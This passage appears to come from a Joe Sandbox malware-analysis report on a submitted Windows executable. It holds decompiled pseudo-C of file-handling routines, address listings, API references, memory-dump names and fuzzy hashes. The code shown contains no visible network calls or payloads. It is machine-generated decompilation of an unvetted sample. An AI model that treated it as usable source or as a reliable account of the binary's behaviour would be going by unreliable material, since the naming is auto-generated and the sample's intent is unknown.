																					_t178 = _t705 - 0x1130; // -2352
																					_t512 = E013B06D2(_t601, _t178, 0, 0, 1);
																					__eflags = _t512;
																					if(_t512 != 0) {
																						goto L101;
																					}
																					__eflags = 0;
																					 *(_t705 - 0x1c) = 0;
																					L99:
																					_t180 = _t705 - 0x2154; // -6484
																					E013A9487(_t180);
																					_t390 =  *(_t705 - 0x1c);
																					goto L16;
																				}
																				_t170 = _t705 - 0x2154; // -6484
																				_push(_t574);
																				_t516 = E013A7F88(_t684);
																				_t697 =  *(_t705 - 0x18);
																				_t601 = _t516;
																				 *(_t705 + 0xf) = _t601;
																				L93:
																				__eflags = _t601;
																				if(_t601 != 0) {
																					goto L101;
																				}
																				goto L96;
																			}
																			__eflags =  *(_t705 + 0xf);
																			if( *(_t705 + 0xf) != 0) {
																				_t517 =  *(_t705 - 0x18);
																				__eflags = _t517 - 0x50;
																				if(_t517 != 0x50) {
																					_t639 = 0x49;
																					__eflags = _t517 - _t639;
																					if(_t517 != _t639) {
																						_t682 = 0x45;
																						__eflags = _t517 - _t682;
																						if(_t517 != _t682) {
																							_t518 =  *(_t684 + 8);
																							__eflags =  *((intOrPtr*)(_t518 + 0x6158)) - 1;
																							if( *((intOrPtr*)(_t518 + 0x6158)) != 1) {
																								 *(_t684 + 0xe4) =  *(_t684 + 0xe4) + 1;
																								_t168 = _t705 - 0x1130; // -2352
																								_push(_t574);
																								E013A7DC4(_t684);
																							}
																						}
																					}
																				}
																			}
																			goto L99;
																		}
																		__eflags = _t415 - 5;
																		if(_t415 == 5) {
																			goto L83;
																		}
																		_t601 =  *(_t705 + 0xf);
																		_t697 =  *(_t705 - 0x18);
																		__eflags = _t601;
																		if(_t601 == 0) {
																			goto L96;
																		}
																		__eflags = _t697 - _t669;
																		if(_t697 == _t669) {
																			goto L93;
																		}
																		_t521 =  *(_t684 + 8);
																		__eflags =  *((char*)(_t521 + 0x61f9));
																		if( *((char*)(_t521 + 0x61f9)) != 0) {
																			goto L93;
																		}
																		 *((char*)(_t705 - 0xf)) = 0;
																		_t524 = E013A9E4F(_t684 + 0x10f6);
																		__eflags = _t524;
																		if(_t524 == 0) {
																			L81:
																			__eflags =  *((char*)(_t705 - 0xf));
																			if( *((char*)(_t705 - 0xf)) == 0) {
																				_t601 =  *(_t705 + 0xf);
																				goto L93;
																			}
																			L82:
																			_t601 = 0;
																			 *(_t705 + 0xf) = 0;
																			goto L93;
																		}
																		__eflags =  *((char*)(_t705 - 0xf));
																		if( *((char*)(_t705 - 0xf)) != 0) {
																			goto L82;
																		}
																		__eflags = 0;
																		_push(0);
																		_push(_t574 + 0x32c0);
																		_t156 = _t705 - 0xf; // 0x7f1
																		E013A91B1(0,  *(_t684 + 8), 0, _t684 + 0x10f6, 0x800, _t156,  *(_t574 + 0x32e0),  *(_t574 + 0x32e4));
																		goto L81;
																	}
																	__eflags =  *((char*)(_t574 + 0x3341));
																	if( *((char*)(_t574 + 0x3341)) == 0) {
																		goto L73;
																	}
																	_t129 = _t705 - 0x2c; // 0x7d4
																	_t532 = E013BE8EC(_t574 + 0x3342, _t129, 8);
																	_t707 = _t709 + 0xc;
																	__eflags = _t532;
																	if(_t532 == 0) {
																		goto L73;
																	}
																	__eflags =  *(_t574 + 0x6cc4);
																	if( *(_t574 + 0x6cc4) != 0) {
																		goto L73;
																	}
																	__eflags =  *((char*)(_t684 + 0x10f4));
																	_t133 = _t705 - 0x1130; // -2352
																	if(__eflags != 0) {
																		_push(6);
																		E013A135C(__eflags);
																		E013A6E8B(0x13dcbe8, 0xb);
																		__eflags = 0;
																		 *(_t705 + 0xf) = 0;
																		goto L73;
																	}
																	_push(0x7c);
																	E013A135C(__eflags);
																	E013ADEB9( *(_t684 + 8) + 0x5024);
																	 *(_t705 - 4) =  *(_t705 - 4) | 0xffffffff;
																	_t137 = _t705 - 0x130; // 0x6d0
																	L013ADE46(_t137);
																}
															}
															E013A6E8B(0x13dcbe8, 2);
															_t543 = E013A1EAB(_t574);
															__eflags =  *((char*)(_t574 + 0x6cb4));
															_t390 = _t543 & 0xffffff00 |  *((char*)(_t574 + 0x6cb4)) == 0x00000000;
															goto L16;
														}
														_t97 = _t705 - 0x218c; // -6540
														_t545 = E013A7BEA(_t97, _t574 + 0x32c0);
														__eflags = _t545;
														if(_t545 == 0) {
															goto L61;
														}
														__eflags =  *((char*)(_t705 - 0x2190));
														if( *((char*)(_t705 - 0x2190)) == 0) {
															L59:
															 *(_t705 + 0xf) = 0;
															goto L61;
														}
														_t99 = _t705 - 0x218c; // -6540
														_t547 = E013A7BCC(_t99, _t684);
														__eflags = _t547;
														if(_t547 == 0) {
															goto L61;
														}
														goto L59;
													}
													__eflags = _t693 - _t667;
													if(_t693 != _t667) {
														goto L61;
													}
													goto L55;
												}
												__eflags =  *((char*)(_t395 + 0x6154));
												if( *((char*)(_t395 + 0x6154)) == 0) {
													goto L61;
												}
												goto L53;
											}
											__eflags =  *(_t684 + 0x10f6);
											if( *(_t684 + 0x10f6) == 0) {
												goto L50;
											}
											 *(_t705 + 0xf) = 1;
											__eflags =  *(_t574 + 0x3318);
											if( *(_t574 + 0x3318) == 0) {
												goto L51;
											}
											goto L50;
										}
										__eflags = _t693 - _t384;
										_t385 = 1;
										if(_t693 != _t384) {
											goto L46;
										}
										goto L45;
									}
									_t670 =  *((intOrPtr*)(_t574 + 0x6cb4));
									 *(_t705 + 0xb) = _t670;
									 *(_t705 + 0xc) = _t670;
									__eflags = _t670;
									if(_t670 == 0) {
										goto L208;
									} else {
										_t666 = 0;
										__eflags = 0;
										goto L43;
									}
								}
								__eflags =  *(_t684 + 0xec) -  *((intOrPtr*)(_t577 + 0xa324));
								if( *(_t684 + 0xec) <  *((intOrPtr*)(_t577 + 0xa324))) {
									goto L29;
								}
								__eflags =  *((char*)(_t684 + 0xf1));
								if( *((char*)(_t684 + 0xf1)) != 0) {
									goto L213;
								}
								goto L29;
							}
							if(__eflags < 0) {
								L25:
								 *(_t574 + 0x32e0) = _t664;
								 *(_t574 + 0x32e4) = _t664;
								goto L26;
							}
							__eflags =  *(_t574 + 0x32e0) - _t664;
							if( *(_t574 + 0x32e0) >= _t664) {
								goto L26;
							}
							goto L25;
						}
						if(__eflags < 0) {
							L21:
							 *(_t574 + 0x32d8) = _t664;
							 *(_t574 + 0x32dc) = _t664;
							goto L22;
						}
						__eflags =  *(_t574 + 0x32d8) - _t664;
						if( *(_t574 + 0x32d8) >= _t664) {
							goto L22;
						}
						goto L21;
					}
					__eflags = _t691 - 3;
					if(_t691 != 3) {
						L10:
						__eflags = _t691 - 5;
						if(_t691 != 5) {
							goto L211;
						}
						__eflags =  *((char*)(_t574 + 0x45ac));
						if( *((char*)(_t574 + 0x45ac)) == 0) {
							goto L213;
						}
						_push( *(_t705 - 0x18));
						_push(0);
						_push(_t684 + 0x10);
						_push(_t574);
						_t564 = E013B77E6(_t664);
						__eflags = _t564;
						if(_t564 != 0) {
							__eflags = 0;
							 *((intOrPtr*)( *_t574 + 0x10))( *((intOrPtr*)(_t574 + 0x6ca0)),  *((intOrPtr*)(_t574 + 0x6ca4)), 0);
							goto L15;
						} else {
							E013A6E8B(0x13dcbe8, 1);
							goto L213;
						}
					}
					__eflags =  *(_t684 + 0x10f5);
					if( *(_t684 + 0x10f5) == 0) {
						goto L211;
					} else {
						E013A7A2F(_t574, _t705,  *(_t684 + 8), _t574, _t684 + 0x10f6);
						goto L10;
					}
				}
				if( *((intOrPtr*)(_t684 + 0x5f)) == 0) {
					L4:
					_t390 = 0;
					goto L17;
				}
				_push(_t367);
				_push(0);
				_push(_t684 + 0x10);
				_push(_t574);
				if(E013B77E6(0) != 0) {
					_t664 = 0;
					__eflags = 0;
					goto L6;
				} else {
					E013A6E8B(0x13dcbe8, 1);
					goto L4;
				}
			}

0x013a83eb
0x013a83f0
0x013a83fa
0x013a8400
0x013a8403
0x013a8406
0x013a8408
0x013a840e
0x013a8415
0x013a841b
0x013a8447
0x013a8448
0x013a844e
0x013a8451
0x013a84e0
0x013a84e6
0x013a84ec
0x013a8504
0x013a8504
0x013a850a
0x013a8522
0x013a8522
0x013a8525
0x013a852b
0x013a8548
0x013a854d
0x013a8551
0x013a855b
0x013a8566
0x013a856b
0x013a856d
0x013a8570
0x013a8573
0x013a8575
0x013a8577
0x013a857b
0x013a857d
0x013a857f
0x013a857f
0x013a857b
0x013a8587
0x013a858c
0x013a858d
0x013a859a
0x013a859b
0x013a85a3
0x013a85aa
0x013a85ad
0x013a8604
0x013a8609
0x013a860b
0x013a860d
0x013a8613
0x013a8619
0x013a861d
0x013a861d
0x013a861d
0x013a861d
0x013a85af
0x013a85b2
0x013a85b8
0x013a85ba
0x013a85bc
0x013a85c0
0x013a85c2
0x013a85c9
0x013a85ce
0x013a85cf
0x013a85d6
0x013a85db
0x013a85e5
0x013a85e7
0x013a85fd
0x013a85e9
0x013a85eb
0x013a85f2
0x013a85f4
0x013a85f4
0x013a85e7
0x013a85c0
0x013a85ba
0x013a8626
0x013a862b
0x013a8643
0x013a864d
0x013a8650
0x013a8652
0x013a8656
0x013a8659
0x013a865c
0x013a865f
0x013a8677
0x013a867a
0x013a867f
0x013a8685
0x013a8686
0x013a8688
0x013a8691
0x013a8691
0x013a8693
0x013a8696
0x013a86a0
0x013a86a7
0x013a86ac
0x013a86ae
0x013a9057
0x013a9057
0x013a84cd
0x013a84ce
0x013a84d3
0x013a84dd
0x013a84dd
0x013a86c2
0x013a86ca
0x013a86d1
0x013a86d4
0x013a86eb
0x013a86eb
0x013a86ee
0x013a86ee
0x013a86f3
0x013a86f6
0x013a86fd
0x013a86fe
0x013a8709
0x013a8709
0x013a870c
0x013a8713
0x013a8713
0x013a8719
0x013a8720
0x013a8721
0x013a872f
0x013a8734
0x013a8736
0x013a876e
0x013a8771
0x013a877d
0x013a877d
0x013a877d
0x013a8780
0x013a8780
0x013a878a
0x013a878f
0x013a8791
0x013a87b5
0x013a87b5
0x013a87bc
0x00000000
0x00000000
0x013a87be
0x013a87c8
0x013a87cd
0x013a87cf
0x013a88a6
0x00000000
0x013a88a6
0x013a87d5
0x013a87d8
0x013a87e6
0x013a87e7
0x013a87e7
0x013a87e9
0x013a87f2
0x013a87f5
0x013a8801
0x013a8814
0x013a881e
0x013a8830
0x013a8835
0x013a883c
0x013a88ca
0x013a88ca
0x013a88ce
0x013a88d4
0x013a88d9
0x013a88df
0x013a88e4
0x013a88ea
0x013a88f1
0x013a88f6
0x013a88f7
0x013a88f9
0x013a898c
0x013a898e
0x013a8993
0x013a8995
0x013a89e7
0x013a89ea
0x013a89ec
0x013a8a10
0x013a8a13
0x013a8a13
0x013a8a1a
0x013a8a52
0x013a8a54
0x013a900c
0x013a900c
0x013a9010
0x013a9016
0x013a901b
0x013a901f
0x013a9022
0x013a9025
0x013a9027
0x013a9027
0x013a9027
0x013a9027
0x013a902d
0x013a902d
0x013a9031
0x00000000
0x00000000
0x013a9033
0x013a9035
0x013a84cb
0x013a84cb
0x00000000
0x013a84cb
0x013a903b
0x013a9041
0x013a904f
0x013a9051
0x00000000
0x00000000
0x00000000
0x013a9051
0x013a9043
0x013a9045
0x00000000
0x013a9045
0x013a8a5a
0x013a8a5a
0x013a8a5d
0x013a8a64
0x013a8a76
0x013a8a76
0x013a8a79
0x013a8a7b
0x013a8ac2
0x013a8ac2
0x013a8ac6
0x013a8ac8
0x013a8ad0
0x013a8ad0
0x013a8ae4
0x013a8aea
0x013a8af0
0x013a8af6
0x013a8b07
0x013a8b1d
0x013a8b28
0x013a8b31
0x013a8b34
0x013a8b3b
0x013a8b41
0x013a8b46
0x013a8b49
0x013a8b4b
0x013a8b4e
0x013a8b51
0x013a8b54
0x013a8b57
0x013a8b5a
0x013a8b5c
0x013a8bff
0x013a8bff
0x013a8c02
0x013a8c09
0x013a8c10
0x013a8c14
0x013a8c2a
0x013a8c2c
0x013a8c2c
0x013a8c2d
0x013a8c2d
0x013a8c31
0x013a8c34
0x013a8c37
0x013a8c3a
0x013a8d46
0x013a8d4d
0x013a8d4f
0x013a8d56
0x013a8d80
0x013a8d85
0x013a8d97
0x013a8d9d
0x013a8d9f
0x013a8da5
0x013a8dbf
0x013a8d58
0x013a8d58
0x013a8d5e
0x013a8d64
0x013a8d65
0x013a8d65
0x013a8d56
0x013a8dc4
0x013a8dc6
0x013a8dcb
0x013a8dd2
0x013a8e04
0x013a8e04
0x013a8e04
0x013a8e06
0x013a8e08
0x013a8e08
0x013a8e0f
0x013a8e19
0x013a8e20
0x013a8e3f
0x013a8e3f
0x013a8e43
0x013a8e46
0x013a8ea7
0x013a8ea7
0x013a8eab
0x00000000
0x00000000
0x013a8eb1
0x013a8eb6
0x013a8eb7
0x013a8eba
0x013a8ec8
0x013a8ec8
0x013a8ecc
0x013a8ee5
0x013a8ee5
0x013a8ee7
0x013a8efc
0x013a8efc
0x013a8f01
0x013a8f03
0x013a8f06
0x013a8f0c
0x013a8f0c
0x013a8f0e
0x013a8f20
0x013a8f20
0x013a8f26
0x013a8f2b
0x013a8f2b
0x013a8f2e
0x013a8f35
0x013a8f37
0x013a8f37
0x013a8f37
0x013a8f37
0x013a8f5b
0x013a8f62
0x013a8f75
0x013a8f77
0x013a8f80
0x013a8f85
0x013a8f8b
0x013a8f90
0x013a8f9e
0x013a8fb1
0x013a8fc4
0x013a8fc9
0x013a8fce
0x013a8fd1
0x013a8fd4
0x013a8fdb
0x013a8fe3
0x013a8fea
0x013a8fef
0x013a8ff1
0x013a8ff3
0x013a9000
0x013a9000
0x013a8ff1
0x013a9005
0x00000000
0x013a9005
0x013a8f10
0x013a8f16
0x00000000
0x00000000
0x013a8f18
0x013a8f1e
0x00000000
0x00000000
0x00000000
0x013a8f1e
0x013a8f08
0x013a8f0a
0x00000000
0x00000000
0x00000000
0x013a8f0a
0x013a8ee9
0x013a8eec
0x013a8ef3
0x00000000
0x00000000
0x013a8ef9
0x00000000
0x013a8ef9
0x013a8ece
0x013a8ed5
0x00000000
0x00000000
0x013a8edb
0x013a8edf
0x00000000
0x00000000
0x00000000
0x013a8edf
0x013a8ebe
0x013a8ebf
0x013a8ec2
0x00000000
0x00000000
0x00000000
0x013a8ec2
0x013a8e48
0x013a8e4c
0x00000000
0x00000000
0x013a8e4e
0x013a8e50
0x00000000
0x00000000
0x013a8e52
0x013a8e58
0x013a8e82
0x013a8e82
0x013a8e8c
0x013a8e8d
0x013a8e8f
0x013a8e8f
0x013a8e9b
0x013a8e9f
0x013a8ea4
0x00000000
0x013a8ea4
0x013a8e5a
0x013a8e60
0x013a8e6a
0x013a8e6a
0x013a8e71
0x00000000
0x00000000
0x013a8e73
0x013a8e7d
0x013a8e7e
0x00000000
0x013a8e7e
0x013a8e62
0x013a8e68
0x00000000
0x00000000
0x00000000
0x013a8e68
0x013a8e22
0x013a8e28
0x00000000
0x00000000
0x013a8e2a
0x013a8e34
0x013a8e34
0x013a8e36
0x013a8e38
0x013a8e38
0x00000000
0x013a8e36
0x013a8e2c
0x013a8e32
0x00000000
0x00000000
0x00000000
0x013a8e32
0x013a8e11
0x00000000
0x013a8e11
0x013a8de9
0x013a8df5
0x013a8dfa
0x013a8dfc
0x00000000
0x00000000
0x013a8dfe
0x013a8e00
0x00000000
0x013a8e00
0x013a8c40
0x013a8c46
0x013a8c49
0x013a8cb2
0x013a8cb7
0x013a8cc8
0x013a8ccd
0x013a8cd0
0x013a8cd2
0x013a8d1f
0x013a8d1f
0x013a8d22
0x013a8d22
0x013a8d29
0x013a8c7e
0x013a8c7e
0x013a8c80
0x013a8d3c
0x013a8d3c
0x013a8d3c
0x013a8d3e
0x013a8d3e
0x00000000
0x013a8d3e
0x013a8c86
0x013a8c86
0x013a8c88
0x00000000
0x00000000
0x013a8c90
0x00000000
0x013a8c90
0x013a8d2f
0x013a8d31
0x00000000
0x00000000
0x013a8c7a
0x013a8c7a
0x00000000
0x013a8c7a
0x013a8cd4
0x013a8cdc
0x00000000
0x00000000
0x013a8cde
0x013a8ce4
0x013a8cf0
0x013a8cf1
0x013a8cf4
0x013a8d02
0x013a8d03
0x013a8d0a
0x013a8cf6
0x013a8cf6
0x013a8cf6
0x013a8d0f
0x013a8d0f
0x013a8d12
0x013a8d14
0x013a8c77
0x013a8c77
0x00000000
0x013a8c77
0x013a8d1a
0x00000000
0x013a8d1a
0x013a8c4b
0x013a8c4e
0x00000000
0x00000000
0x013a8c50
0x013a8c52
0x013a8c96
0x013a8c96
0x013a8c98
0x00000000
0x00000000
0x013a8ca4
0x013a8cab
0x00000000
0x013a8cab
0x013a8c54
0x013a8c57
0x00000000
0x00000000
0x013a8c59
0x013a8c5c
0x00000000
0x00000000
0x013a8c6b
0x013a8c70
0x013a8c72
0x013a8c74
0x00000000
0x013a8c74
0x013a8c16
0x013a8c18
0x00000000
0x00000000
0x013a8c1c
0x013a8c1d
0x013a8c21
0x00000000
0x00000000
0x013a8c25
0x013a8c26
0x00000000
0x013a8c26
0x013a8b62
0x013a8b68
0x00000000
0x00000000
0x013a8b6e
0x013a8b74
0x013a8b7a
0x013a8b7c
0x013a8bfc
0x013a8bfc
0x00000000
0x013a8bfc
0x013a8b7e
0x013a8b88
0x013a8b88
0x013a8b98
0x013a8b9b
0x013a8b9d
0x013a8bf7
0x013a8bf7
0x013a8bfa
0x013a8bfa
0x00000000
0x013a8bfa
0x013a8b9f
0x013a8ba5
0x013a8ba7
0x013a8ba9
0x013a8bce
0x013a8bd4
0x013a8be0
0x013a8beb
0x013a8bf4
0x00000000
0x013a8bf4
0x013a8bab
0x013a8bb5
0x013a8bb7
0x013a8bbc
0x013a8bc2
0x00000000
0x00000000
0x013a8bc4
0x00000000
0x00000000
0x013a8bc6
0x013a8bcc
0x00000000
0x00000000
0x00000000
0x013a8bcc
0x013a8bad
0x013a8bb3
0x00000000
0x00000000
0x00000000
0x013a8bb3
0x013a8ba1
0x013a8ba3
0x00000000
0x00000000
0x00000000
0x013a8ba3
0x013a8b80
0x013a8b86
0x00000000
0x00000000
0x00000000
0x013a8b86
0x013a8aca
0x013a8aca
0x013a8aca
0x013a8aca
0x00000000
0x013a8aca
0x013a8a81
0x013a8a84
0x013a8a85
0x013a8a88
0x013a8a8a
0x013a8a95
0x013a8a97
0x013a8aa6
0x013a8ab8
0x013a8ab8
0x013a8a97
0x00000000
0x013a8a88
0x013a8a66
0x013a8a6d
0x013a8a74
0x013a8abf
0x00000000
0x013a8abf
0x00000000
0x013a8a74
0x013a8a20
0x013a8a23
0x013a8a2a
0x013a8a31
0x013a8a36
0x013a8a38
0x00000000
0x00000000
0x013a8a3a
0x013a8a3c
0x013a8a3f
0x013a8a3f
0x013a8a45
0x013a8a4a
0x00000000
0x013a8a4a
0x013a89ee
0x013a89f7
0x013a89f8
0x013a89fd
0x013a8a00
0x013a8a02
0x013a8a0a
0x013a8a0a
0x013a8a0c
0x00000000
0x00000000
0x00000000
0x013a8a0e
0x013a8997
0x013a899b
0x013a89a1
0x013a89a4
0x013a89a8
0x013a89b0
0x013a89b1
0x013a89b4
0x013a89bc
0x013a89bd
0x013a89c0
0x013a89c2
0x013a89c8
0x013a89ce
0x013a89d0
0x013a89d6
0x013a89dd
0x013a89e0
0x013a89e0
0x013a89ce
0x013a89c0
0x013a89b4
0x013a89a8
0x00000000
0x013a899b
0x013a88ff
0x013a8902
0x00000000
0x00000000
0x013a8908
0x013a890b
0x013a890e
0x013a8910
0x00000000
0x00000000
0x013a8916
0x013a8919
0x00000000
0x00000000
0x013a891f
0x013a8922
0x013a8929
0x00000000
0x00000000
0x013a8931
0x013a893b
0x013a8940
0x013a8942
0x013a8979
0x013a8979
0x013a897d
0x013a8a07
0x00000000
0x013a8a07
0x013a8983
0x013a8985
0x013a8987
0x00000000
0x013a8987
0x013a8944
0x013a8948
0x00000000
0x00000000
0x013a894a
0x013a8952
0x013a8953
0x013a895a
0x013a8974
0x00000000
0x013a8974
0x013a8842
0x013a8849
0x00000000
0x00000000
0x013a884d
0x013a8858
0x013a885d
0x013a8860
0x013a8862
0x00000000
0x00000000
0x013a8864
0x013a886b
0x00000000
0x00000000
0x013a886d
0x013a8874
0x013a887b
0x013a88b2
0x013a88b4
0x013a88c0
0x013a88c5
0x013a88c7
0x00000000
0x013a88c7
0x013a887d
0x013a887f
0x013a888d
0x013a8892
0x013a8896
0x013a889c
0x013a889c
0x013a87b5
0x013a879a
0x013a87a1
0x013a87a6
0x013a87ad
0x00000000
0x013a87ad
0x013a873f
0x013a8745
0x013a874a
0x013a874c
0x00000000
0x00000000
0x013a874e
0x013a8755
0x013a8767
0x013a8769
0x00000000
0x013a8769
0x013a8758
0x013a875e
0x013a8763
0x013a8765
0x00000000
0x00000000
0x00000000
0x013a8765
0x013a870e
0x013a8711
0x00000000
0x00000000
0x00000000
0x013a8711
0x013a8700
0x013a8707
0x00000000
0x00000000
0x00000000
0x013a8707
0x013a86d6
0x013a86dd
0x00000000
0x00000000
0x013a86df
0x013a86e3
0x013a86e9
0x00000000
0x00000000
0x00000000
0x013a86e9
0x013a868a
0x013a868d
0x013a868f
0x00000000
0x00000000
0x00000000
0x013a868f
0x013a8661
0x013a8667
0x013a866a
0x013a866d
0x013a866f
0x00000000
0x013a8675
0x013a8675
0x013a8675
0x00000000
0x013a8675
0x013a866f
0x013a8533
0x013a8539
0x00000000
0x00000000
0x013a853b
0x013a8542
0x00000000
0x00000000
0x00000000
0x013a8542
0x013a850c
0x013a8516
0x013a8516
0x013a851c
0x00000000
0x013a851c
0x013a850e
0x013a8514
0x00000000
0x00000000
0x00000000
0x013a8514
0x013a84ee
0x013a84f8
0x013a84f8
0x013a84fe
0x00000000
0x013a84fe
0x013a84f0
0x013a84f6
0x00000000
0x00000000
0x00000000
0x013a84f6
0x013a8457
0x013a845a
0x013a8479
0x013a8479
0x013a847c
0x00000000
0x00000000
0x013a8482
0x013a8489
0x00000000
0x00000000
0x013a8494
0x013a8495
0x013a8499
0x013a849a
0x013a849b
0x013a84a0
0x013a84a2
0x013a84b7
0x013a84c8
0x00000000
0x013a84a4
0x013a84ab
0x00000000
0x013a84ab
0x013a84a2
0x013a845c
0x013a8463
0x00000000
0x013a8469
0x013a8474
0x00000000
0x013a8474
0x013a8463
0x013a8420
0x013a843e
0x013a843e
0x00000000
0x013a843e
0x013a8422
0x013a8423
0x013a8427
0x013a8428
0x013a8430
0x013a8445
0x013a8445
0x00000000
0x013a8432
0x013a8439
0x00000000
0x013a8439

APIs

__EH_prolog.LIBCMT ref: 013A83F0
_memcmp.LIBVCRUNTIME ref: 013A8858

Part of subcall function 013A80DA: CharUpperW.USER32(?,?,00000000,?,?,?,?,?,?,?,00000800,?,013A86CF,?,-00000930,?), ref: 013A819D

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: CharH_prologUpper_memcmp
String ID:
API String ID: 4047935103-0
Opcode ID: 700471b01edce8bacfceb6b18464860031de8db45be47dc7d939731d72b68fdc
Instruction ID: dd86d0931152375af0ba97796677550df11957d5cb1095625f5dd0a913f3f8dc
Opcode Fuzzy Hash: 700471b01edce8bacfceb6b18464860031de8db45be47dc7d939731d72b68fdc
Instruction Fuzzy Hash: 7B723A71900186EEEF16DF68C894BF9BBA8FF1530DF8841F9DA499B142D7315A84CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013BDB63 Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013BDB63() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E013BDB6F); // executed
				return _t1;
			}

0x013bdb68
0x013bdb6e

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_0001DB6F,013BD5E4), ref: 013BDB68

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c54010713efb10a981e25b389a89b0dc107d4b58f2f6698f3f675f081c8be258
Instruction ID: 70e3b6db770534a705b6c2a1110c59992396dfdf4ed918250200776774d122a0
Opcode Fuzzy Hash: c54010713efb10a981e25b389a89b0dc107d4b58f2f6698f3f675f081c8be258
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 013B5983 Relevance: .3, Instructions: 325
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E013B5983(signed int __ecx, void* __edx, void* __eflags) {
				void* __ebp;
				signed int _t161;
				intOrPtr _t164;
				signed int _t170;
				signed int _t171;
				signed int _t175;
				signed int _t178;
				void* _t181;
				void* _t188;
				signed int _t193;
				signed int _t194;
				signed int _t195;
				signed int _t197;
				signed int _t208;
				signed int _t212;
				intOrPtr _t213;
				signed int _t216;
				signed int _t219;
				signed int _t223;
				signed int _t225;
				signed int _t226;
				intOrPtr* _t232;
				void* _t238;
				signed int _t240;
				signed int _t241;
				intOrPtr _t245;
				intOrPtr _t247;
				signed int _t257;
				intOrPtr* _t259;
				signed int _t260;
				signed int _t263;
				intOrPtr* _t267;
				intOrPtr _t268;
				void* _t269;
				signed int _t270;
				void* _t272;
				signed int _t273;
				void* _t274;
				void* _t276;

				_t216 = __ecx; // executed
				E013B21E5(__ecx, __edx); // executed
				E013B39EE(__ecx,  *((intOrPtr*)(_t274 + 0x138)));
				_t240 = 0;
				if( *(_t216 + 0x1c) +  *(_t216 + 0x1c) != 0) {
					_t238 = 0;
					do {
						_t213 =  *((intOrPtr*)(_t216 + 0x18));
						_t238 = _t238 + 0x4ae4;
						_t240 = _t240 + 1;
						 *((char*)(_t213 + _t238 - 0x13)) = 0;
						 *((char*)(_t213 + _t238 - 0x11)) = 0;
					} while (_t240 <  *(_t216 + 0x1c) +  *(_t216 + 0x1c));
				}
				_t219 = 5;
				memcpy( *((intOrPtr*)(_t216 + 0x18)) + 0x18, _t216 + 0x8c, _t219 << 2);
				E013BDFA0( *((intOrPtr*)(_t216 + 0x18)) + 0x30, _t216 + 0xa0, 0x4a9c);
				_t276 = _t274 + 0x18;
				_t263 = 0;
				 *(_t276 + 0x28) = 0;
				_t268 = 0;
				 *((char*)(_t276 + 0x13)) = 0;
				 *((intOrPtr*)(_t276 + 0x18)) = 0;
				 *((char*)(_t276 + 0x12)) = 0;
				while(1) {
					L4:
					_push(0x00400000 - _t263 & 0xfffffff0);
					_push( *((intOrPtr*)(_t216 + 0x20)) + _t263);
					_t161 = E013AC6A8();
					 *(_t276 + 0x2c) = _t161;
					if(_t161 < 0) {
						break;
					}
					_t263 = _t263 + _t161;
					 *(_t276 + 0x20) = _t263;
					if(_t263 != 0) {
						if(_t161 <= 0) {
							goto L56;
						} else {
							if(_t263 >= 0x400) {
								L56:
								while(_t268 < _t263) {
									_t225 = 0;
									 *(_t276 + 0x14) =  *(_t276 + 0x14) & 0;
									 *(_t276 + 0x1c) = 0;
									_t170 =  *(_t216 + 0x1c) +  *(_t216 + 0x1c);
									__eflags = _t170;
									if(_t170 != 0) {
										_t245 =  *((intOrPtr*)(_t276 + 0x18));
										_t273 = 0;
										__eflags = 0;
										do {
											_t259 =  *((intOrPtr*)(_t216 + 0x18)) + _t273;
											 *(_t276 + 0x28) = _t225;
											__eflags =  *((char*)(_t259 + 0x4ad3));
											 *_t259 = _t216;
											if( *((char*)(_t259 + 0x4ad3)) == 0) {
												E013AA48E(_t259 + 4,  *((intOrPtr*)(_t216 + 0x20)) + _t245);
												_t263 =  *(_t276 + 0x20);
												 *((intOrPtr*)(_t259 + 8)) = 0;
												_t170 = _t263 -  *((intOrPtr*)(_t276 + 0x18));
												__eflags = _t170;
												 *((intOrPtr*)(_t259 + 4)) = 0;
												 *(_t259 + 0x4acc) = _t170;
												if(_t170 != 0) {
													 *((char*)(_t259 + 0x4ad0)) = 0;
													 *((char*)(_t259 + 0x14)) = 0;
													 *((char*)(_t259 + 0x2c)) = 0;
													_t225 =  *(_t276 + 0x1c);
													goto L15;
												}
											} else {
												 *(_t259 + 0x4acc) = _t263;
												L15:
												__eflags =  *(_t276 + 0x2c);
												 *((char*)(_t259 + 0x4ad3)) = 0;
												 *(_t259 + 0x4ae0) = _t225;
												__eflags =  *((char*)(_t259 + 0x14));
												 *((char*)(_t259 + 0x4ad2)) = _t170 & 0xffffff00 |  *(_t276 + 0x2c) == 0x00000000;
												if( *((char*)(_t259 + 0x14)) != 0) {
													L20:
													__eflags =  *((char*)(_t276 + 0x13));
													if( *((char*)(_t276 + 0x13)) != 0) {
